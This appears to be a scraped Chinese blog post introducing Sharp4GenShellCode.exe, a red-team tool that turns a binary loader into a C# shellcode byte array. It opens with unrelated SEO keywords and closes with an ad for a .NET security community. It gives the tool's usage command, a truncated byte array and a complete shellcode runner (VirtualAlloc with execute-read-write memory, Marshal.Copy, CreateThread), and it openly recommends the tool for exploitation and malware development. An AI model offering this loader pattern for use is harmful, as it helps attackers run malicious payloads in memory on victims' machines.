四川省建设招标网站首页,电子商务网站的建设费用,wordpress 后台介绍,大学文明校园网站建设方案01阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等#xff08;包括但不限于#xff09;进行检测或维护参考#xff0c;未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失#xf…01阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等包括但不限于进行检测或维护参考未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失均由使用者本人负责。本文所提供的工具仅用于学习禁止用于其他方面
02基本介绍
Sharp4GenShellCode.exe 是一个用于将二进制文件如 loader.bin转换为 Shellcode 的工具。在渗透测试和红队操作中Shellcode 经常被用作攻击载体用于在目标系统上实现远程代码执行或提权等目的。 03使用方法
Sharp4GenShellCode使用非常简单工具的基本用法如下所示。
Sharp4GenShellCode.exe D:\\test\\loader.bin 1.txt在上述命令中D:\\test\\loader.bin 是要转换的二进制文件路径1.txt 是保存转换后的 Shellcode 的输出文件如下图所示。 执行完该命令后工具会将二进制文件 loader.bin 转换成一个标准的 Shellcode 格式并将其保存在 1.txt 文件中转换后的内容类似如下所示。
byte[] buf new byte[35285] {0xE8,0xC0,0x27,0x00,0x00,0xC0,0x27,0x00,0x00,0x9C,0xB9,0x42,0xFE,0x47,0xF4,0x57,0xBF,0x50,0xBE,0x1B,0x53,0xF2,0xFA,0x79,0x41,0x7A,0xF6,0x9D,0x1F,0xB2,0x37,0xF7,0xEA,0xBD,0x57,0xFA,0x6D,0x70,0xA8,0x6B,0xEF,0x00,0x00,0x00,0x00,...
};生成的 Shellcode 可以被直接嵌入到代码中例如在.NET环境中可以通过 P/Invoke 结合 Windows API 函数如 VirtualAlloc 和 CreateThread将 Shellcode 写入内存并执行。
byte[] buf new byte[35285] {0xE8, 0xC0, 0x27, 0x00, 0x00, 0xC0, 0x27, 0x00, 0x00, 0x9C, 0xB9, 0x42, 0xFE, 0x47, 0xF4,...
};
IntPtr addr VirtualAlloc(IntPtr.Zero, (uint)buf.Length, 0x1000 /* MEM_COMMIT */, 0x40 /* PAGE_EXECUTE_READWRITE */);
Marshal.Copy(buf, 0, addr, buf.Length);
IntPtr hThread CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);综上Sharp4GenShellCode 是一个非常实用的工具它能够将任意的二进制文件转换为 Shellcode方便在渗透测试、漏洞利用或恶意软件开发中使用。
04.NET安全知识库 星球文化20个专题栏目涵盖了点、线、面、体等知识面其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。
